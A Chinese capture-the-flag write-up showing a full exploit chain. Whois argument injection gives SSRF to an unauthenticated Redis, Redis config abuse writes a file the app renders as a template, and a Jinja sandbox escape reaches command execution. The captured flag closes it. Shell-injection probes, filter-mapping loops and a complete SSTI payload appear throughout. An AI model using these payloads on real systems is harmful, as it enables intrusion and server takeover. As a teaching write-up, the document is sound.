example.com;id     -> blocked by whois input jail: forbidden symbol ';'
example.com|id     -> No whois server is known for this kind of object.
example.com`id`    -> blocked by whois input jail: forbidden symbol '`'
$(id)              -> blocked by whois input jail: forbidden symbol '$'
a && /flag         -> blocked by whois input jail: forbidden symbol '&'

有輸入監獄。但注意 | 那一行，它沒有被當 pipe 執行，而是 whois 收到字面參數。所以根本沒有 shell，是自己組 argv 陣列直接執行的。shell 注入沒戲，但參數注入呢？

1
curl -s -X POST "$B/api/whois" --data-urlencode 'domain=-h example.com'
1
2
3
Usage: whois [OPTION]... OBJECT...
-h HOST, --host HOST   connect to server HOST
-p PORT, --port PORT   connect to PORT

domain 是用空白切開的，每個 token 變成一個 argv。而 -h HOST -p PORT 會讓 whois 對任意主機任意埠開一條原始 TCP 連線，然後把回應原樣印出來，這就是 SSRF。

題目自己提了 Redis。Redis 的 inline protocol 吃純文字行，完美匹配：

1
2
curl -s -X POST "$B/api/whois" \
     --data-urlencode 'domain=-h 127.0.0.1 -p 6379 PING'
1
+PONG

成功！Redis 沒密碼，而且回應會回顯給我。現在我有一個互動式 Redis client 了：

1
2
curl -s -X POST "$B/api/whois" --data-urlencode 'domain=-h 127.0.0.1 -p 6379 SET pwn hello123'   # +OK
curl -s -X POST "$B/api/whois" --data-urlencode 'domain=-h 127.0.0.1 -p 6379 GET pwn'            # $8 hello123

KEYS * 被改名了（硬化），但 SCAN 可用。重點是磁碟設定：

1
2
3
q(){ curl -s -X POST "$B/api/whois" --data-urlencode "domain=-h 127.0.0.1 -p 6379 $1"; }
q 'CONFIG GET dir'          # *2 dir /app/db
q 'CONFIG GET dbfilename'   # *2 dbfilename dump.rdb

Redis 持久化到 /app/db，web 應用從 /app/tpl 讀樣板，共用同一個 /app 檔案系統。快取值是純文字不是 pickle，所以單純投毒沒用；但可以用 Redis 寫一個檔案出來讓樣板渲染器去讀。

我改不了 dir（需要 /，被監獄擋），但可以改檔名：

1
2
3
4
q 'CONFIG SET dbfilename pwn.tpl'   # RDB 會寫到 /app/db/pwn.tpl
q 'SET k {{7*7}}'
q 'SAVE'
curl -s "$B/render" --get --data-urlencode 'tpl=../db/pwn'

回來的是原始 RDB 二進位，但在我存 {{7*7}} 的那個位置變成 49。SSTI 確認。整個 dump.rdb 都被丟給 Jinja，周圍的二進位原樣印出，只有我的 {{...}} 被求值，沒差。

接著把監獄摸精確：

1
2
3
4
for ch in "'" '"' '/' '\' '#' '=' '<' '>' '[' ']' '{' '}' '|' '.' '(' ')' '*' ':' '-' '_'; do
  r=$(curl -s -X POST "$B/api/whois" --data-urlencode "domain=a${ch}b")
  echo "$r" | grep -q forbidden && echo "BLOCKED $ch"
done
1
2
被禁： ; ` $ & _ ' " / \ # = < > [ ]
允許： 字母、數字、{ } | . ( ) * % + : - @ 空白

外加字面單字 flag 也被擋。沒引號、沒 _、沒 /、沒中括號、沒 =，這看起來把 SSTI 封死了：不能寫字串、不能打 __class__、不能寫路徑、不能下標。

關鍵領悟是：/render 的 query string 完全不受監獄限制。而 Flask 的 Jinja 樣板拿得到 request：

1
2
3
q 'SET zz {{request.args.a}}'; q 'SAVE'
curl -s "$B/render" --get --data-urlencode 'tpl=../db/pwn' --data-urlencode 'a=HELLOWORLD'
# -> HELLOWORLD

所以樣板本體只用監獄允許的字元，每個危險字串都從 URL 偷渡進來，attr filter 再拿來做屬性存取。

在寫完整鏈之前先逐段測，因為這是自訂的 SandboxedEnvironment：

嘗試 結果
builtins.get('__import__') 並呼叫 __import__('os') 200，回 <module 'os' (frozen)>
builtins.get('open') / get('eval')（只取用不呼叫） 200
呼叫 open('/flag') 500
os | attr('popen') 500
呼叫 getattr(os,'popen') 500
subprocess.__dict__.get('check_output')(...) 被呼叫 200

dunder 沒被封（所以能觸及模組內部），__import__ 呼叫沒被封，但 attr filter 跟 open/eval/popen 的呼叫在封鎖清單上。突破口是 module.__dict__.get('name')，走的是普通的 dict.get，完全繞過 Jinja 的 attr 安全檢查。

還剩最後一個問題：check_output 要一個 list，但 [、]、/、引號全被禁。解法是 request.args 是 Werkzeug 的 MultiDict，它的 getlist('fx') 回傳一個真正的 Python list：

1
request.args | attr('getlist') ('fx')     ==>  ['/flag']     （URL 帶 ?fx=/flag）

樣板裡完全沒有中括號、引號或斜線。最終樣板：

1
2
3
{{ (cycler|attr(request.args.a)|attr(request.args.b)|attr(request.args.g)(request.args.bi)|attr(request.args.g)(request.args.imp)(request.args.sp))
   |attr(request.args.dd)|attr(request.args.g)(request.args.co)
   (request.args|attr(request.args.gl)(request.args.fxk)) }}

由左到右讀就是：

1
2
3
subprocess = __import__('subprocess')
check_output = subprocess.__dict__.get('check_output')
check_output( request.args.getlist('fx') )

先用 fx=id 驗證：

1
2
3
4
5
6
7
8
9
10
11
12
q 'CONFIG SET dbfilename pwn.tpl'; q 'DEL zz'
q "SET zz {{(cycler|attr(request.args.a)|attr(request.args.b)|attr(request.args.g)(request.args.bi)|attr(request.args.g)(request.args.imp)(request.args.sp))|attr(request.args.dd)|attr(request.args.g)(request.args.co)(request.args|attr(request.args.gl)(request.args.fxk))}}"
q 'SAVE'

curl -s "$B/render" --get \
  --data-urlencode 'tpl=../db/pwn' \
  --data-urlencode 'a=__init__'     --data-urlencode 'b=__globals__' \
  --data-urlencode 'g=get'          --data-urlencode 'bi=__builtins__' \
  --data-urlencode 'imp=__import__' --data-urlencode 'sp=subprocess' \
  --data-urlencode 'dd=__dict__'    --data-urlencode 'co=check_output' \
  --data-urlencode 'gl=getlist'     --data-urlencode 'fxk=fx' \
  --data-urlencode 'fx=id'

輸出裡有 uid=1000(ctf) ...。RCE 到手，那就把 fx 換成 /flag：

1
NHNC{wH0is_t0_R3d1s_s5Rf_Tq9x_Z7mP_843430e2c6f34093ae2d5a053b752c62}

NHNC{wH0is_t0_R3d1s_s5Rf_Tq9x_Z7mP_843430e2c6f34093ae2d5a053b752c62}